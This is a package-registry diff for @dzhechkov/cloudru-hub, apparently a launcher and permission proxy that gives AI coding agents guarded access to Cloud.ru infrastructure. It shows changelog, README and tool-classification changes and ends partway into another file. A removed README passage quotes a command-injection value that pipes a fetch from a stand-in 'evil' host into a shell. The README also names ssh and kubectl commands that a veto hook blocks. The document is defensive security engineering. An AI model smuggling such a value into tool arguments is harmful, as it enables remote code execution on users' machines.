@dzhechkov/cloudru-hub 0.1.11 → 0.1.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.dz-manifest.json +62 -14
- package/CHANGELOG.md +78 -0
- package/README.md +43 -22
- package/bin/cloudru-hub.js +0 -0
- package/data/tools-classification.json +9 -9
- package/data/tools-list-snapshot.json +6 -6
- package/docs/HERMES-CODEX.md +34 -0
- package/docs/LOCAL-TESTING.md +14 -22
- package/package.json +12 -9
- package/sbom.json +133 -13
- package/src/cli.js +64 -15
- package/src/credentials.js +61 -0
- package/src/deploy-approval.js +120 -0
- package/src/install.js +246 -27
- package/src/k8s-approval.js +208 -0
- package/src/probe-child.js +38 -0
- package/src/safe-mcp.js +268 -0
- package/src/toolsets.js +58 -0
- package/templates/.claude/hooks/cloudru-ssh-guard.cjs +0 -0
- package/test/billing-credentials.test.mjs +113 -0
- package/test/classification.test.mjs +23 -32
- package/test/deploy-approval.test.mjs +154 -0
- package/test/dialects.test.mjs +11 -1
- package/test/install.test.mjs +235 -11
- package/test/k8s-approval.test.mjs +125 -0
- package/test/mutation-registry-freshness.test.mjs +39 -0
- package/test/mutation-registry.json +11 -9
- package/test/resolve.test.mjs +46 -4
- package/test/safe-mcp.test.mjs +162 -0
package/.dz-manifest.json
CHANGED
|
@@ -5,7 +5,7 @@
|
|
|
5
5
|
"files": [
|
|
6
6
|
{
|
|
7
7
|
"path": "CHANGELOG.md",
|
|
8
|
-
"sha256": "
|
|
8
|
+
"sha256": "d2be06e900ab3d02d367ff5d91129ef3faa9a16e1afac6fba8ae9cec4a51c322"
|
|
9
9
|
},
|
|
10
10
|
{
|
|
11
11
|
"path": "LICENSE",
|
|
@@ -13,7 +13,7 @@
|
|
|
13
13
|
},
|
|
14
14
|
{
|
|
15
15
|
"path": "README.md",
|
|
16
|
-
"sha256": "
|
|
16
|
+
"sha256": "c505a9bb7ab6f8d9fbe1cac64e22b12ec14f674f979af7120457b8ba49039484"
|
|
17
17
|
},
|
|
18
18
|
{
|
|
19
19
|
"path": "THIRD_PARTY_NOTICES.md",
|
|
@@ -33,19 +33,23 @@
|
|
|
33
33
|
},
|
|
34
34
|
{
|
|
35
35
|
"path": "data/tools-classification.json",
|
|
36
|
-
"sha256": "
|
|
36
|
+
"sha256": "b1216e31ed28655ea99d9ef06d82d4d35d5499bad1ecadc8e7051e8c74bd7c97"
|
|
37
37
|
},
|
|
38
38
|
{
|
|
39
39
|
"path": "data/tools-list-snapshot.json",
|
|
40
|
-
"sha256": "
|
|
40
|
+
"sha256": "c9f53d02b7ee06791eac22214ca91e999aeec2ee4dbd53b6a27dc46d4e5bcbc2"
|
|
41
|
+
},
|
|
42
|
+
{
|
|
43
|
+
"path": "docs/HERMES-CODEX.md",
|
|
44
|
+
"sha256": "08e1e83985c31b51aa053811b1b6a76fb1960323c5ccb8ae1d5fdd8b91b8df11"
|
|
41
45
|
},
|
|
42
46
|
{
|
|
43
47
|
"path": "docs/LOCAL-TESTING.md",
|
|
44
|
-
"sha256": "
|
|
48
|
+
"sha256": "f043a370b9f23b2efc6c64702ab358ee168b6c9cd1b5d9efe4a9da287274e42c"
|
|
45
49
|
},
|
|
46
50
|
{
|
|
47
51
|
"path": "package.json",
|
|
48
|
-
"sha256": "
|
|
52
|
+
"sha256": "671ebb618e9d0a939a047433791cd9a34e502339596d11a697b50fb32a0694ec"
|
|
49
53
|
},
|
|
50
54
|
{
|
|
51
55
|
"path": "src/classification.js",
|
|
@@ -53,7 +57,15 @@
|
|
|
53
57
|
},
|
|
54
58
|
{
|
|
55
59
|
"path": "src/cli.js",
|
|
56
|
-
"sha256": "
|
|
60
|
+
"sha256": "af553e9261300eb46240212eb03b01ccc17234fed1a9f1587d5784f3bfacb5f4"
|
|
61
|
+
},
|
|
62
|
+
{
|
|
63
|
+
"path": "src/credentials.js",
|
|
64
|
+
"sha256": "21f074b4bf5b5ee9e893a2c1919cf4bb62f9fa05a0d7a1a8c04afc051ccb0e78"
|
|
65
|
+
},
|
|
66
|
+
{
|
|
67
|
+
"path": "src/deploy-approval.js",
|
|
68
|
+
"sha256": "5c1fba3d298df73ff82f28c72bc5199d23acc6dfc64022438874b0e3381c9394"
|
|
57
69
|
},
|
|
58
70
|
{
|
|
59
71
|
"path": "src/dialects.js",
|
|
@@ -61,23 +73,47 @@
|
|
|
61
73
|
},
|
|
62
74
|
{
|
|
63
75
|
"path": "src/install.js",
|
|
64
|
-
"sha256": "
|
|
76
|
+
"sha256": "c928db48febfb4a79884ce1830365a8302122a55fb5d6ada8e771c049396ca89"
|
|
77
|
+
},
|
|
78
|
+
{
|
|
79
|
+
"path": "src/k8s-approval.js",
|
|
80
|
+
"sha256": "014c2effd1e843d870ae1af4f93f5c82faff9972e9f6ca028ed39d47ec33ee3a"
|
|
81
|
+
},
|
|
82
|
+
{
|
|
83
|
+
"path": "src/probe-child.js",
|
|
84
|
+
"sha256": "0f7a0c1f6d0d033006ca816df49c24e69eb82aa6b70ec03491bce9e4d674bdd4"
|
|
65
85
|
},
|
|
66
86
|
{
|
|
67
87
|
"path": "src/resolve.js",
|
|
68
88
|
"sha256": "5cbd0861c2973fab62271269b10f748b9638e74f40e8ea034f78ac63bed58001"
|
|
69
89
|
},
|
|
90
|
+
{
|
|
91
|
+
"path": "src/safe-mcp.js",
|
|
92
|
+
"sha256": "4f95cfb9576c411232503b26053ece6d8d186e4b337beff9bd4afd249f74a014"
|
|
93
|
+
},
|
|
94
|
+
{
|
|
95
|
+
"path": "src/toolsets.js",
|
|
96
|
+
"sha256": "89229c882b6a3f5bb9ee542b31d1a40374b91879747582a3e82e8aadc72decb3"
|
|
97
|
+
},
|
|
70
98
|
{
|
|
71
99
|
"path": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
|
|
72
100
|
"sha256": "ad8c4ea89b28a366fa72e3507dbef9f774f4f2777e6bd2289a429329ab94cc0c"
|
|
73
101
|
},
|
|
102
|
+
{
|
|
103
|
+
"path": "test/billing-credentials.test.mjs",
|
|
104
|
+
"sha256": "f2e1b05bdb6a6e811844ee19b0142daa02647b387f5d96b4a5d29bd34e3c985d"
|
|
105
|
+
},
|
|
74
106
|
{
|
|
75
107
|
"path": "test/classification.test.mjs",
|
|
76
|
-
"sha256": "
|
|
108
|
+
"sha256": "026e3031180ce9227b4d31775b9c886b10ad0cb418ed0754aed75b12ded84e31"
|
|
109
|
+
},
|
|
110
|
+
{
|
|
111
|
+
"path": "test/deploy-approval.test.mjs",
|
|
112
|
+
"sha256": "d72e4363fd50d0fcc65fd23b40601516bd73368c3659f2a55a394c4d1ed3f85c"
|
|
77
113
|
},
|
|
78
114
|
{
|
|
79
115
|
"path": "test/dialects.test.mjs",
|
|
80
|
-
"sha256": "
|
|
116
|
+
"sha256": "3e6236f0cfb159dd73477b6243f6af536925968308085fd248df93932a2bebbf"
|
|
81
117
|
},
|
|
82
118
|
{
|
|
83
119
|
"path": "test/hook.test.mjs",
|
|
@@ -85,11 +121,19 @@
|
|
|
85
121
|
},
|
|
86
122
|
{
|
|
87
123
|
"path": "test/install.test.mjs",
|
|
88
|
-
"sha256": "
|
|
124
|
+
"sha256": "07fe729b0dc6955329d0a3121ce97d575582f8c6f2895e72d0c38175f82b52d2"
|
|
125
|
+
},
|
|
126
|
+
{
|
|
127
|
+
"path": "test/k8s-approval.test.mjs",
|
|
128
|
+
"sha256": "af04d1941fb7aed2cc51b05f65ffed1c440d4d23a7fb26e13261d45e07b0a1f8"
|
|
129
|
+
},
|
|
130
|
+
{
|
|
131
|
+
"path": "test/mutation-registry-freshness.test.mjs",
|
|
132
|
+
"sha256": "99cc5dd9f32ffbfbde09361940190f41b2efd682f687b3db67b5a3b943e66f47"
|
|
89
133
|
},
|
|
90
134
|
{
|
|
91
135
|
"path": "test/mutation-registry.json",
|
|
92
|
-
"sha256": "
|
|
136
|
+
"sha256": "09b8fdc28bbe5df9b4cfd7d563c1acb479532157bbe1a99e909b3b370dd96630"
|
|
93
137
|
},
|
|
94
138
|
{
|
|
95
139
|
"path": "test/pack-holds.test.mjs",
|
|
@@ -97,9 +141,13 @@
|
|
|
97
141
|
},
|
|
98
142
|
{
|
|
99
143
|
"path": "test/resolve.test.mjs",
|
|
100
|
-
"sha256": "
|
|
144
|
+
"sha256": "3b695381c2df4f5b592b377bd3ef5b3f3953af9f6f140600cfcddc975563bffc"
|
|
145
|
+
},
|
|
146
|
+
{
|
|
147
|
+
"path": "test/safe-mcp.test.mjs",
|
|
148
|
+
"sha256": "45406dabeee0635ede5cda3d2f4144c5c13886d624287fd223b01252d2859b87"
|
|
101
149
|
}
|
|
102
150
|
]
|
|
103
151
|
},
|
|
104
|
-
"signature": "
|
|
152
|
+
"signature": "beMcp+gzzBo2SQYH5kzMMqppEdWawWJo+JCttjU/Hf0Wns8Jzc6fNT4uU5d2NBuTP3+8bt2lKaPQn1WvlHWiBg=="
|
|
105
153
|
}
|
package/CHANGELOG.md
CHANGED
|
@@ -1,5 +1,83 @@
|
|
|
1
1
|
# Changelog — @dzhechkov/cloudru-hub
|
|
2
2
|
|
|
3
|
+
## 0.1.13 — 2026-10-20
|
|
4
|
+
|
|
5
|
+
This release publishes the previously private launcher and host-adapter preview.
|
|
6
|
+
The Go engine is not included in this npm archive or available as a platform
|
|
7
|
+
package yet. All Cloud.ru operations require an owner-supplied engine matching
|
|
8
|
+
the pinned SHA-256; both MCP launcher routes refuse a mismatched engine.
|
|
9
|
+
|
|
10
|
+
- Complete both OpenCode and Pi live static-site VM scenarios: agent-authored
|
|
11
|
+
Snake and the pinned 12-file repository archive. Each host retained one
|
|
12
|
+
`deploy_apply` result per run, independent HTTP bytes matched the reviewed
|
|
13
|
+
source, and exact VM/security-group cleanup restored baseline inventory.
|
|
14
|
+
Set the host-specific long-call timeout to 1,200 seconds.
|
|
15
|
+
- Add an opt-in `k8s-deploy` pilot for Codex, Claude Code, Hermes, OpenCode and
|
|
16
|
+
Pi. A local one-use approval binds an exact three-resource Snake manifest to
|
|
17
|
+
an existing cluster, namespace and project; the proxy exposes only bounded
|
|
18
|
+
readback and sends `create_only=true` to avoid patching name collisions.
|
|
19
|
+
The private Go engine is rebuilt as `0.2.6-20261020` with SHA-256
|
|
20
|
+
`89c5073418927ee71ac1de381eaba5ab69d599d615edc51b868d876e712dbf10`.
|
|
21
|
+
Local tests pass; a Kubernetes role was later granted and the four available
|
|
22
|
+
hosts passed live deployment. Claude Code inference remains unavailable.
|
|
23
|
+
|
|
24
|
+
- Keep Hermes MCP discovery responsive while a long `deploy_apply` is running:
|
|
25
|
+
cache the pinned proxy's filtered tool list after its first successful read.
|
|
26
|
+
The previous serial Go backend could not answer Hermes' keepalive during VM
|
|
27
|
+
creation, causing a reconnect and an unknown outcome for the agent. Both
|
|
28
|
+
post-fix live Snake scenarios passed: Hermes received the final apply result,
|
|
29
|
+
independently served bytes matched the approved source, and each temporary
|
|
30
|
+
VM and dedicated security group was removed.
|
|
31
|
+
|
|
32
|
+
- Verify Hermes' built-in import of this server's existing Codex CLI OAuth
|
|
33
|
+
credentials. The isolated and default Hermes profiles now select
|
|
34
|
+
`openai-codex` / `gpt-6-sol` and each passed a short inference probe. This
|
|
35
|
+
cleared the model-provider blocker before the live Hermes VM acceptance runs.
|
|
36
|
+
|
|
37
|
+
- Accept both flat and nested Cloud.ru subnet availability-zone IDs during VM
|
|
38
|
+
planning; reject conflicting IDs. Live `/api/v1/subnets` returned the nested
|
|
39
|
+
form and previously made the planner reject a valid project subnet. Add API
|
|
40
|
+
response and planner regression tests.
|
|
41
|
+
- Complete both Codex-hosted static-site VM acceptance scenarios (new Snake
|
|
42
|
+
source and a pinned GitHub archive), with exact-byte HTTP verification and
|
|
43
|
+
cleanup of each test VM/security group. Hermes connects to the 12-tool
|
|
44
|
+
profile but its available model-provider credentials failed before inference;
|
|
45
|
+
OpenCode and Pi were still pending at this point. The final rebuilt binary
|
|
46
|
+
was checked with a read-only live plan, Go and package tests; the two paid
|
|
47
|
+
deploys used the immediately preceding binary before fail-closed zone-field
|
|
48
|
+
hardening.
|
|
49
|
+
|
|
50
|
+
- In the private preview, add bounded static-site Cloud-init deployment with
|
|
51
|
+
reviewed source digests, a dedicated HTTP security group, existing-IP
|
|
52
|
+
approval, exact-byte HTTP checks, and durable run checkpoints. The preview
|
|
53
|
+
engine pin was `0.2.5-20261020` at that stage; public engine redistribution remains a
|
|
54
|
+
separate gate.
|
|
55
|
+
|
|
56
|
+
- Add `mcp-safe`, a pinned MCP process boundary that exposes only allow-classified tools,
|
|
57
|
+
blocks other calls before the engine, and supports named toolsets. Host installers default
|
|
58
|
+
to the 11-tool inventory group; `all` exposes the full 78-tool allow-classified surface.
|
|
59
|
+
- Add project MCP registrations for Codex, OpenCode and Pi and a guarded Hermes YAML
|
|
60
|
+
registration. Hermes receives an explicit path to a locally hash-verified engine because
|
|
61
|
+
it filters inherited environment variables. Complex configuration and pre-existing Cloud.ru entries are refused.
|
|
62
|
+
- Canonicalize forwarded JSON-RPC requests to prevent case-insensitive Go field aliases
|
|
63
|
+
from bypassing tool filtering; close the proxy when its engine exits unexpectedly.
|
|
64
|
+
- Repair `self-test` tools/list probing so a persistent MCP server is stopped after its
|
|
65
|
+
response; report a SHA-256 mismatch as a failed step.
|
|
66
|
+
- Add fake-engine boundary tests and verify the real pinned engine's 144-tool classification
|
|
67
|
+
and the proxy's 11-tool inventory list locally. The installed Hermes client connected to
|
|
68
|
+
the generated server and discovered 11 tools; other host-session activation and real
|
|
69
|
+
Cloud.ru operations remain unverified.
|
|
70
|
+
- Import the Go engine into the private source tree with provenance; fix shell quoting in
|
|
71
|
+
`logs`, make `stack_status` observational, fail `doctor` on failed checks, refuse a VM
|
|
72
|
+
create when inventory fails, and report state-persistence failure after a create.
|
|
73
|
+
- Pin the locally rebuilt `0.2.4-20261019` Go engine and recapture its 144-tool schema.
|
|
74
|
+
`stack_status` changes from ask to allow after its Go behavior fix; `stack_apply`
|
|
75
|
+
remains ask. The current public platform package does not match this private pin.
|
|
76
|
+
- Add an opt-in `vm-deploy` profile for Hermes and Codex with a private credentials
|
|
77
|
+
file, exact-plan/cost approval, one-use apply, and VM-scoped remote execution.
|
|
78
|
+
Fake-engine tests cover forged confirmation, approval replay, changed plans and
|
|
79
|
+
execution on an unrelated VM. Live Cloud.ru acceptance is pending temporary keys.
|
|
80
|
+
|
|
3
81
|
## 0.1.6
|
|
4
82
|
|
|
5
83
|
Corrects the link added in 0.1.5: the Тимур credit now points at his about page
|
package/README.md
CHANGED
|
@@ -1,5 +1,7 @@
|
|
|
1
1
|
# @dzhechkov/cloudru-hub
|
|
2
2
|
|
|
3
|
+
Site: https://aicoding.space · Source: https://github.com/djd1m/dz-harness/tree/main/packages/@dzhechkov/cloudru-hub
|
|
4
|
+
|
|
3
5
|
> **STATUS: published — the ADR-001 licence hold is SATISFIED (AM-2, 2026-08-12).**
|
|
4
6
|
> [Тимур](https://shkrbkv.ru/about/), the author of the Hermes engine additions, approved publication (owner-reported
|
|
5
7
|
> 2026-08-12 — the grant record is linked from the `Grant-Confirmation:` line in LICENSE
|
|
@@ -17,6 +19,11 @@ Thin JS launcher for the **`cloudru-vm` MCP engine** — a Go MCP server with **
|
|
|
17
19
|
Evolution: VMs, k8s, PostgreSQL/Kafka/Redis, DNS, S3, certificates, billing/FinOps, and a
|
|
18
20
|
docker-compose deploy wizard.
|
|
19
21
|
|
|
22
|
+
**The npm archive contains no engine binary, and the platform binary package is not published.**
|
|
23
|
+
All engine-backed commands, including inventory, billing, VM and Kubernetes operations,
|
|
24
|
+
require an owner-supplied Go binary whose SHA-256 matches the pin below. A fresh npm install
|
|
25
|
+
alone can inspect the launcher and generate configuration, but cannot run Cloud.ru tools.
|
|
26
|
+
|
|
20
27
|
## Attribution
|
|
21
28
|
|
|
22
29
|
- **CLI foundation and everything in this package** (launcher, adapters, installer,
|
|
@@ -34,11 +41,11 @@ docker-compose deploy wizard.
|
|
|
34
41
|
|
|
35
42
|
| Piece | Where | What it does |
|
|
36
43
|
|---|---|---|
|
|
37
|
-
| Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64` (
|
|
38
|
-
| Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (
|
|
39
|
-
| Target
|
|
44
|
+
| Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64` (not published); verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |
|
|
45
|
+
| Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (64 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 78 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |
|
|
46
|
+
| Target integration | `src/install.js`, `src/safe-mcp.js` | Codex, OpenCode and Pi get project MCP configs using a pinned proxy; Hermes gets a guarded `$HERMES_HOME/config.yaml` entry with a verified engine path. Claude Code's general install keeps its permissions and hook probe. The opt-in `vm-deploy` profile requires an exact-plan approval and confines remote commands to the returned VM. Codex, Hermes, OpenCode and Pi each completed both live static-site scenarios on 2026-10-20 with HTTP byte checks and exact resource cleanup. The `k8s-deploy` profile uses a separate exact-manifest approval and create-only Kubernetes operation; the same four hosts completed live Kubernetes deployment, readiness, exact-byte HTTP and cleanup checks. Claude Code has installer/registration checks but no live inference pass. |
|
|
40
47
|
| Skill dialect compiler (ADR-006) | `src/dialects.js`, `data/dialects.json` | generates per-target variants of the canonical skill tree (which is NOT shipped — point `--canonical` at an engine distribution); hard-fails if any Hermes-dialect token survives AND if the engine codename survives in any case in any emitted file (positive invariant, not just the enumerated denylist); unlinks dangling links; enforces the 12 000-char router cap on lossy layouts; byte-deterministic |
|
|
41
|
-
| Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the
|
|
48
|
+
| Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the handler (read-only proven at the pinned baseline, engine file:line cited per entry). The previous `stack_status` behavior was unsafe; the imported engine now makes it observational and tests that invariant. A live tool unknown to the classifier is a drift finding. |
|
|
42
49
|
|
|
43
50
|
## Usage
|
|
44
51
|
|
|
@@ -46,28 +53,48 @@ docker-compose deploy wizard.
|
|
|
46
53
|
cloudru-hub resolve # where is the engine, which sha256, is it the pinned baseline
|
|
47
54
|
cloudru-hub self-test # resolve → sha256 → engine version → live tools/list → coverage
|
|
48
55
|
cloudru-hub mcp # run the engine as an MCP stdio server (what .mcp.json points at)
|
|
56
|
+
cloudru-hub mcp-safe --toolsets inventory # pinned MCP proxy with a small allow-classified surface
|
|
57
|
+
cloudru-hub install --target codex --toolsets billing # read-only balance, consumption and FinOps
|
|
58
|
+
cloudru-hub install --target codex --toolsets vm-deploy # guarded VM deployment profile
|
|
59
|
+
cloudru-hub install --target codex --toolsets k8s-deploy # bounded existing-cluster Snake profile
|
|
60
|
+
cloudru-hub k8s-approve --cluster-id <uuid> --namespace snake-pilot --manifest <snake.yaml> --manifest-sha256 <digest>
|
|
61
|
+
cloudru-hub approve --plan-id <id> --max-monthly-rub <cap> # one reviewed SSH plan
|
|
62
|
+
cloudru-hub approve --plan-id <id> --max-monthly-rub <cap> --site-sha256 <digest> # reviewed static-site artifact
|
|
49
63
|
cloudru-hub install --target claude-code # emit .mcp.json + permission brake + veto hook, PROBE the veto
|
|
64
|
+
cloudru-hub install --target codex # project .codex/config.toml using mcp-safe
|
|
65
|
+
cloudru-hub install --target opencode # project opencode.json using mcp-safe
|
|
66
|
+
cloudru-hub install --target pi # project .pi/mcp.json using mcp-safe
|
|
67
|
+
cloudru-hub install --target hermes # require a hash-verified engine; add safe entry to $HERMES_HOME/config.yaml
|
|
50
68
|
cloudru-hub install --target agents-md # pointer-only section (no tools, no fake support)
|
|
51
69
|
cloudru-hub compile-skill --canonical <engine>/skill/cloudru-hub --target claude-code --out ./skill-out
|
|
52
70
|
```
|
|
53
71
|
|
|
54
|
-
##
|
|
72
|
+
## Using an owner-supplied engine
|
|
55
73
|
|
|
56
74
|
```bash
|
|
57
|
-
export CLOUDRU_VM_BIN=/path/to/
|
|
75
|
+
export CLOUDRU_VM_BIN=/path/to/private-build/cloudru-vm # pinned 0.2.6-20261020 preview
|
|
58
76
|
node bin/cloudru-hub.js self-test
|
|
59
77
|
```
|
|
60
78
|
|
|
61
79
|
Expected: 5 green steps ending `self-test: ALL GREEN` (resolution, sha256 match against
|
|
62
|
-
the pinned baseline `
|
|
80
|
+
the pinned baseline `89c50734…12dbf10`, engine version, 144 live tools, full
|
|
63
81
|
classification coverage). Full walkthrough incl. `npm link` and MCP registration:
|
|
64
82
|
[`docs/LOCAL-TESTING.md`](docs/LOCAL-TESTING.md).
|
|
65
83
|
|
|
84
|
+
Host setup, checks and limits: [`docs/HERMES-CODEX.md`](docs/HERMES-CODEX.md). These adapters are generated from our own classification and do not reuse EVO code. EVO's broader standalone CLI and toolset selection remain advantages to carry into the owner's Go engine.
|
|
85
|
+
|
|
86
|
+
For billing through `mcp-safe`, add the optional `"agreement_id":"…"` to the owner-only `~/.config/cloudru-hub/credentials.json` alongside `key_id`, `secret` and `project_id`. The proxy forwards it to the Go child as `CLOUDRU_AGREEMENT_ID`. Existing environment-only billing setups remain supported when no credential file is configured. The current consumption tool reports the agreement-wide total; its output should not be presented as a per-project bill. See the [Cloud.ru instructions for locating the agreement ID](https://cloud.ru/docs/billing/ug/topics/faq__api_id_agreement).
|
|
87
|
+
|
|
88
|
+
The `vm-deploy` and `k8s-deploy` profiles are included in the launcher as **opt-in previews**. They require a matching pinned Go binary and temporary credentials in a private local file. There is no published platform binary at this pin; a fresh npm installation alone cannot run them. A static site can be planned from a local HTML file or a bounded ZIP snapshot with `deploy_plan(static_site_source=...)`; the operator checks the source digest shown in the plan and supplies that digest to `approve`. Every included ZIP file is served publicly, so review the file list in the plan and keep credentials out of the artifact. Planning requires an existing available floating IP, whose ID is bound to the approval. Apply creates a dedicated TCP-80 security group, boots the VM from fixed Cloud-init data, and reports the site as verified only after the approved IP is attached to that VM and exact-byte HTTP checks pass. A private run journal keeps resource IDs for interrupted-run recovery and blocks blind replay. The estimate covers compute and disk; a public IP may have a separate charge. The static-site route does not authorize `vm_exec` over SSH. See the two-Snake acceptance procedure in `features/cloudru-cli-vm-deploy/SNAKE-ACCEPTANCE.md` in the private source tree.
|
|
89
|
+
|
|
90
|
+
The Kubernetes preview accepts only one reviewed manifest containing a ConfigMap, a non-root single-pod Deployment and a ClusterIP Service in an existing namespace. `k8s-approve` binds exact manifest bytes, cluster, namespace, project and a ten-minute single-use approval. The agent passes only the approval ID; the proxy forwards `create_only=true`, so an existing resource name is a conflict instead of being patched. Kubernetes `create` is not transactional across three documents: inspect and clean up any partially created resources by exact name before trying again. Use a dedicated namespace with no pre-existing resources matching the app label or the three approved names. The profile does not create a cluster, namespace, nodes, NAT, ingress or load balancer. The example, local evidence and four-host live acceptance are in `features/cloudru-k8s-snake-deploy/` in private source. The service account's initial 403 was resolved by granting the Kubernetes role; Claude Code inference remains unavailable for a live host test.
|
|
91
|
+
|
|
66
92
|
## Safety properties (all layer-1, discrimination-proven)
|
|
67
93
|
|
|
68
94
|
Every named property has a mutation-gate entry (`test/mutation-registry.json`, run
|
|
69
95
|
`dz mutation-gate --package packages/@dzhechkov/cloudru-hub`) that deletes the protection
|
|
70
|
-
and requires the suite to go RED
|
|
96
|
+
and requires the suite to go RED. The registry passed on 2026-10-20 with 13/13
|
|
97
|
+
protections proven:
|
|
71
98
|
|
|
72
99
|
1. **The licence gate stays armed post-grant** — the `licenseHold` trigger field
|
|
73
100
|
deliberately STAYS in package.json, so the `dz guard` `licence-hold` HARD rule keeps
|
|
@@ -80,18 +107,12 @@ and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08
|
|
|
80
107
|
3. **The paid-step brake vetoes** — acid fixtures run the emitted hook (`sshpass` → exit 2,
|
|
81
108
|
keyed ssh → 0, `rollout restart` → 2, `rollout status` → 0); the installer refuses to
|
|
82
109
|
report success unless the executed probe blocks.
|
|
83
|
-
4. **`stack_status`
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
arg RAW into a remote `docker compose logs <service>` run over SSH (`tools.go:1758` →
|
|
90
|
-
`engine/logs.go:61` `cmd += " " + opts.Service` → `Deployer.Exec` → `session.CombinedOutput`
|
|
91
|
-
`internal/deploy/ssh.go:117`), so `service="app; curl evil | sh"` is arbitrary RCE on the
|
|
92
|
-
user's VM. Flipping it back to allow puts that command-injection path behind a silent
|
|
93
|
-
allow and goes RED. (Engine injection flagged to the author — the classifier can only
|
|
94
|
-
prompt, it cannot escape the arg.)
|
|
110
|
+
4. **`stack_status` only observes** — the private Go engine no longer advances planned or
|
|
111
|
+
running jobs on a read; `stack_apply` is the explicit paid action. The Go regression
|
|
112
|
+
test checks repeated status calls, and the classification now permits the read.
|
|
113
|
+
5. **`logs` stays ask** — the engine now shell-quotes its user-controlled `service` as
|
|
114
|
+
one argument, with a regression test for hostile input. It still reaches remote SSH
|
|
115
|
+
and can expose logs, so the proxy does not silently permit it.
|
|
95
116
|
6. **The dialect codename gate is armed** — emptying `forbiddenCodenames` (the positive
|
|
96
117
|
case-insensitive, word-boundary net under the 8-token denylist) goes RED; the denylist
|
|
97
118
|
alone let the bare codename survive 5× in the real-corpus compile (MEASURED). The gate
|
|
@@ -125,7 +146,7 @@ and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08
|
|
|
125
146
|
|
|
126
147
|
## Tests
|
|
127
148
|
|
|
128
|
-
`npm test` —
|
|
129
|
-
node:test
|
|
149
|
+
`npm test` — 107 tests, 107 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-10-20;
|
|
150
|
+
node:test with `yaml` as the sole runtime dependency). Suite includes the tarball-content gate,
|
|
130
151
|
the post-grant licence gates, the brake acid tests, installer tiering, and dialect
|
|
131
152
|
compilation.
|
package/bin/cloudru-hub.js
CHANGED
|
File without changes
|
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
{
|
|
2
|
-
"$comment": "Golden classification of every cloudru-vm engine tool
|
|
3
|
-
"engineSha256": "
|
|
2
|
+
"$comment": "Golden classification of every cloudru-vm engine tool. allow requires a BEHAVIOUR audit of the handler at the pinned engine SHA proving both axes: (1) observational with no cloud mutation, job advancement or secret return (a local plan write is disclosed), and (2) no user-controlled argument reaching shell/exec/SSH. Shell-reaching tools remain ask even when arguments are quoted. Schema shape alone never proves allow. The old baseline had two hazards: stack_status advanced planned jobs into paid actions and logs inserted an unescaped service into a shell command. In the pinned engine, stack_status reads persisted state only; stack_apply explicitly advances jobs, and logs shell-quotes service. The specific regression tests are in go/cloudru-vm/internal/mcp/stack_status_test.go and internal/engine/logs_test.go. Any unknown live tool fails drift checks; deny by default.",
|
|
3
|
+
"engineSha256": "89c5073418927ee71ac1de381eaba5ab69d599d615edc51b868d876e712dbf10",
|
|
4
4
|
"toolCount": 144,
|
|
5
5
|
"counts": {
|
|
6
|
-
"ask":
|
|
6
|
+
"ask": 64,
|
|
7
7
|
"deny": 2,
|
|
8
|
-
"allow":
|
|
8
|
+
"allow": 78
|
|
9
9
|
},
|
|
10
10
|
"tools": {
|
|
11
11
|
"deploy": {
|
|
@@ -46,7 +46,7 @@
|
|
|
46
46
|
"logs": {
|
|
47
47
|
"effect": "shell-reach",
|
|
48
48
|
"permission": "ask",
|
|
49
|
-
"why": "
|
|
49
|
+
"why": "shell-reach: handleLogs (tools.go:1758) passes user-controlled service to engine.Logs, which now shell-quotes it (engine/logs.go:61; regression internal/engine/logs_test.go). Still ask because it invokes remote SSH/compose and may return sensitive logs."
|
|
50
50
|
},
|
|
51
51
|
"destroy": {
|
|
52
52
|
"effect": "mutating",
|
|
@@ -711,7 +711,7 @@
|
|
|
711
711
|
"stack_plan": {
|
|
712
712
|
"effect": "read-only",
|
|
713
713
|
"permission": "allow",
|
|
714
|
-
"why": "behaviour-audited:
|
|
714
|
+
"why": "behaviour-audited: handleStackPlan (tools_stack.go:297) makes read-only lookups and persists a LOCAL planned job file only (job.Save); only stack_apply advances it."
|
|
715
715
|
},
|
|
716
716
|
"stack_apply": {
|
|
717
717
|
"effect": "mutating",
|
|
@@ -719,9 +719,9 @@
|
|
|
719
719
|
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
720
720
|
},
|
|
721
721
|
"stack_status": {
|
|
722
|
-
"effect": "
|
|
723
|
-
"permission": "
|
|
724
|
-
"why": "
|
|
722
|
+
"effect": "read-only",
|
|
723
|
+
"permission": "allow",
|
|
724
|
+
"why": "behaviour-audited read-only: handleStackStatus (tools_stack.go:451) loads and returns the persisted job; no advance, callTool, state write or cloud mutation. stack_apply is the explicit advancing action. Regression: internal/mcp/stack_status_test.go."
|
|
725
725
|
},
|
|
726
726
|
"stack_destroy": {
|
|
727
727
|
"effect": "mutating",
|
|
@@ -1,17 +1,17 @@
|
|
|
1
1
|
{
|
